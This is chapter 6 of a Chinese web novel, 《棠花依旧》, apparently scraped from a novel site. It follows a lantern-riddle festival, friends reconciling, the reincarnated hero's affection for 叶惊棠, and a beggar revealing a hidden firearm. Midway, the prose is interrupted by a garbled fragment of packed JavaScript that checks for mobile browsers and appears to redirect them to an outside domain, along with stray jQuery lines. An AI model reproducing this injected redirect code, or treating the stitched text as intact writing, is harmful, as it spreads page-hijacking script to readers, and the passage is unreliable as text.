6. 乞丐

作品:《棠花依旧

    “里面?”陈月指着前面:“阿延,澄安确定还待在那里吗?坚持不了一盏茶吧。”


    薛延带着人往人群里挤,“他不是拐人去了吗?肯定能赢几盏灯回来,放心吧。”


    陈月终于靠前了,就是有点矮,只能透过逼仄的空隙看。


    “这位公子好文学,已经猜对两题,”汉子把灯笼送上来:“再答对最后一题就能上榜了。”


    谢澄安手里拿过了灯笼,一脸得意的笑道:“那就再答一题。”


    不知是谁上前说道:“答对题的又不是这位兄台,洋洋得意个什么劲儿啊。”


    谢澄安把落在胸前的发尾甩在后面,笑道:“我和这位公子关系好,他赢的就是我赢的,有何问题?”


    陈月一听,手上的糕点就掉了,薛延及时把手上的东西换手接住了。


    陈月呐呐道:“澄安和叶惊棠关系好?什么时候的事啊,他怎么不跟我们说啊?”


    薛延把那糕点捏在手里,看着前面谢澄安被灯火照着的神色,不像是装的,于是说:“想明白了吧,要和叶兄友好相处了。”


    “那……那……”陈月一想起之前的事,就觉得后悔:“叶惊棠要是记仇,往后就得针对我了啊,指不定和博士告我不少状呢,叶惊棠还知道我好多把柄,他甚至知道我逃出书院的秘密通道,不行不行。”


    陈月有点慌,他说:“我得和叶惊棠搞好关系。”


    说罢,夺过薛延手上的大包小包,自己拿着:“这些我忍痛割爱,给叶惊棠了。”


    薛延有些无奈:“我已经和他道完歉了,不要慌,叶兄心地善良,人又温柔是不会计较这些的。”


    陈月想起谢澄安的话,还是不信,像个拨浪鼓似的摆着脑袋,“这是个人都得记恨,再说你去了顶个什么用,你又没欺负过他,而且你送的还是药材,叶家买不起药材吗?药材才多少银子?还不如送个有心意的赔罪。”


    薛延道:“我送贵了怕人觉得我息事宁人,不够诚意呀。”


    陈月护着糕点,免得被行人挤坏,他说:“我送这个有诚意。”


    邃然,锣响,震得天地都颤了一下,薛延赶忙捂住陈月的耳朵。


    汉子抽出最后一封信笺,声音洪亮:“丈夫进京整三年。”他顿了顿说:“打一味中药。”


    谢澄安心中一动,率先答道:“当归,是当归!”


    此话一出,他就迎来了许多人的目光。


    他答得太快了在加上他之前赢的那些灯笼都是旁边青衣公子答的。


    大家都以为是个白丁呢,哪成想,还没等人反应他就答出来了。


    这一隅都响起了拍掌声。


    其中一个文人立马合了折扇,轻谬道:“恰巧会那一题罢了,头家,赶紧下一题啊,他们的灯都答完了!”


    陈月看见两人拿着灯笼要离开,他赶忙提着手里的东西挤开人冲了过去。


    嘴里喊着那两个人的名字,边喊边跑。


    薛延头一次感受到带小孩儿的痛苦。


    陈月终于追上了,他气喘吁吁的躬着腰。


    他跑的太急了些,又很激动,此刻一句话也说不上来,须臾缓了过来才说:“叶兄,我是来给你道歉的,之前的事情是我错了,我不应该,我家教不严才成就我干出这种目无道德的事情来。”


    说罢站好对叶惊棠规规矩矩行了一礼。


    这画面是有些好笑的,平常在书院里,陈月可是连开课礼都站的东倒西歪,这次倒是像模像样。


    “这是我给叶兄买的糕点,这里有很多样式,你挑着吃。”陈月一脸坦然:“我真的错了,你要是觉得不解气,可以把我也踢一脚,我身体好着呢,吃的也多,不会一下子就生病的,你也不会有什么麻烦,况且你家和我家有行商往来,不敢找你家麻烦。”


    陈月一下子也不知道怎么说了,反正脑子想到什么就说什么了。


    “之前的事情早翻篇了,”叶惊棠软着音道:“陈月同僚不必耿耿于怀。”


    他没有接陈月手上的糕点,而是从谢澄安手上拿过了一盏螃蟹灯,横在两人面前,说道:“这是陈月同僚想要的灯吗?”


    陈月眼睛倏得一亮,内心欢喜得很,但手忽然顿在半空,悠悠收了回来,看了眼薛延,又看着叶惊棠,他的眼型好看,眸里含情,又似有涟漪,不小心看进去了,反应过来后登时有些腼腆:“我不好意思,我哪里好意思。”


    谢澄安拿过来塞在陈月手里,强硬道:“给你的就拿着,记着这份好,以后对人家客气些。”


    烟花爆竹登时炸在夜空,爆发出绚烂火花。


    坠落而下犹如星雨。


    谢澄安手悄然挨近,摸到叶惊棠的袖角。


    轻轻一勾布料,就不再动作。


    陈月看着星雨,眼底满是璀璨,手上动作都僵在那里了,忍不住张大嘴感叹:“好美。”


    叶惊棠想起什么事来,“小侯爷向来不分五谷,是怎么知道当归这味中药的?”


    谢澄安顿了一顿,后又像随意一说:“之前有一个人赠了我一个荷包,里面就是当归。”


    “当归除了被当作常见的中医药材外,还被当作相思之物,女子在男子出征前增送当归,寓意早日归家。”叶惊棠在炸响声中轻笑一下:“小侯爷,福气不浅呐。”


    “什么福气?”谢澄安垂眸盯他的眼,他眼里全是坏:“他就是个薄情郎、负心汉。”


    谢澄安迈了一步,将叶惊棠罩了个完全:“你想听我和这位薄情郎、负心汉的故事吗?”


    叶惊棠全当他不知道这个‘郎’‘汉’是指男子的,心笑他连薄情郎、负心汉这两个词都不会用。


    “什么薄情不薄情?”周围太吵了,陈月没听清楚,插了进来:“澄安,你有交往过女子,我怎的不知道?”


    谢澄安不好解释,干脆混过去:“我糊弄人呢,小小年纪别乱插话。”


    陈月不高兴了:“你就比我大一年,装什么大人样!”


    “好了,”薛延拉住陈月,腾出一只手打开油纸,露出还冒着袅娜热气的糕点来,“吃一块桃花酥,我们不理他。”


    陈月小孩似的哼唧一声,拿了一块桃花酥咬在嘴里,继续看漫天星火。


    夜色渐浓,雪也停了,烟花却还在绽放,但他们都决定要回家了。


    叶惊棠手里提着盏兔子灯,和提着宝蠊灯的谢澄安肩并肩的走着,脚下把薄雪踩得吱呀叫。


    陈月走在后面指着谢澄安的宝蠊灯捧腹大笑,对薛延说:“澄安的灯太滑稽了吧,他怎么给自己挑个这个。”


    薛延一想到谢澄安花不少银子买来的丑不拉几的陶俑,他还当个宝贝似得不让人碰就眼睛发黑。


    薛延不知该摆何表情,“澄安就喜爱这些奇形怪状的,没办法,我们这些做好友的就试着尊重一下。”


    一路上,有不少过客往一处瞧,叶惊棠都想离他远远的,但总是会被他拉回来,然后被不要脸的人教训一通:“躲什么?和我站一起是一件很丢人的事情吗?我说你这个人怎么一点也不讲兄弟义气?都不知道有难同当。”


    叶惊棠差点不知道‘有难同当’这四个字怎么写。


    谢澄安一直抓着叶惊棠的手腕没放,不管他怎么挣都抵不过。他力气竟这么大。


    这个人最近不对劲的地方太多,从蛮不讲理到厚颜无耻。


    他还想到一个词,就是孟浪。


    他以为谢澄安会变成一个军痞,哪成想还是个流氓胚子。


    将来肯定会祸害良家妇女。


    想着想着,措不及防就被这个流氓胚子捏了下手腕。


    叶惊棠抬眸瞪人。


    这个眼神,谢澄安上辈子看见太多次,早看习惯了,看着唬人其实不痛不痒。


    他甚至还知道,这瞪人眼神其实还是叶惊棠小时候从他娘生气瞪他爹的时候学来的。


    一想到,他就忍不住要笑。


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14977814|161429||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >谢澄安指腹揉着光滑手腕,又摸着腕骨。


    摸着摸着,手上的力度就更温柔许多。


    叶惊棠与前世比起来要瘦得正常的多。


    他前世太瘦了,养一个月都没养起来,因为他总是吃了就吐。


    不管看了多少郎中都还是吃不下多少。


    他瘦得像薄纸,站在那里太可怜了,只要风经过他就能倒似的。


    谢澄安看着如今健康有活力的叶惊棠,眼含热忱。


    他的叶惊棠,这一世一定要岁岁安康,平安喜乐。


    两个人走在前面,和陈月他们离的有点距离。


    陈月走在后面仰头看星火根本没注意前面两人的微妙气氛。


    出了神龙大街,看见停在门口的自家马车。


    谢澄安看了他半晌才松开手腕,然后抬手想去拂他鬓角上的碎雪。


    叶惊棠稍偏一下脑袋躲开了他的手,谢澄安的手停在半空,见叶惊棠微眯起眼,像是随口一说:“风流得很。”


    谢澄安站在原地,露出笑。看着叶惊棠把手里的兔子灯给了随从,然后提着袍子上了马车。


    等车轮轱辘走了,他才和陈月薛延两个一同上马车。


    回到了府里,除了下人在挂灯笼外,就看不到其他。


    丫鬟接过宝蠊灯诧异一瞬,就挂在了院外门口。


    谢澄安手里把玩着折扇,叹了一口气。


    夫妻俩正在外面幽会呢。


    四下看,林风也没回来,他只好一个人回到南柯院。


    斗篷解下放在门前。


    谢澄安就着蜡烛,躺在床榻,窗外又下起了风雪,屋内落了帷帘,把它挡住了。


    谢澄安从衣襟摸出一个绣着海棠的荷包。


    和前世叶惊棠送他装有当归的荷包一摸一样,其实就是出自一人之手。


    是他手蹭到叶惊棠衣襟时顺手摸的。


    谢澄安像猫儿一样屈起身子,把荷包凑到鼻尖闻了闻,没有药香闻到的却是安神香的味道。


    上面还有淡淡的花香。


    谢澄安打开,猫眼看,里面装有一把海棠花瓣,干枯的,看着像是去年春所摘。


    他又像是没闻够似的一直贴着,心中酸涩,忽然喜极而泣。


    桌案上的蜡烛火焰突然一斜。


    他紧紧捏着海棠荷包,哭哭笑笑。


    没有碎,干净的,也没有沾血。


    惊棠如旧,一切都如旧。


    不知过了多久门外响起了一些动静。


    林风得到答复后推门而进。


    这时谢澄安早已经收拾好坐在交椅上了,他手上拿着扇子,一只手捏着荷包。


    林风身后跟着个人,畏畏缩缩的。


    谢澄安合上扇子,看着后面这个蓬头垢面,衣着破烂的乞丐。


    他细细瞧了,这个乞丐虽长得黑黝,脸上浮灰泥,但是他五官看着还是端正。


    年龄也不过十几。


    谢澄安知道林风是不会无故带个人回来的,他开门见山得问:“你可知道些什么?”


    乞丐略抬了头,露出还未浑浊的眼来,他像是不认得面前的是谁,只小心翼翼得说道:“公子,我是泉溪街东门的乞丐,常在那边乞讨,有次晚上我路过一家废弃粮仓,发现发现……”


    乞丐饿的双眼无神,四肢也抖得厉害,又冷又饿,他快要晕过去了。


    谢澄安示意林风赶忙去伙房拿点儿米糕来。


    谢澄安起身托住乞丐的胳膊,乞丐被一双有力的手托着,抬眸,谢澄安肃着张脸,气势压得他快要喘不过气。


    “继续,如实。”谢澄安说。


    “发现他们在私藏爆竹。”乞丐撑着一口气说完,不敢看谢澄安的眼睛,说罢从怀里掏出一个破布罩着的东西。


    谢澄安皱着眉,接过,发现有点沉。


    他打开了破布,登时脸色沉了一沉。


    这哪是爆竹,这明明是火铳。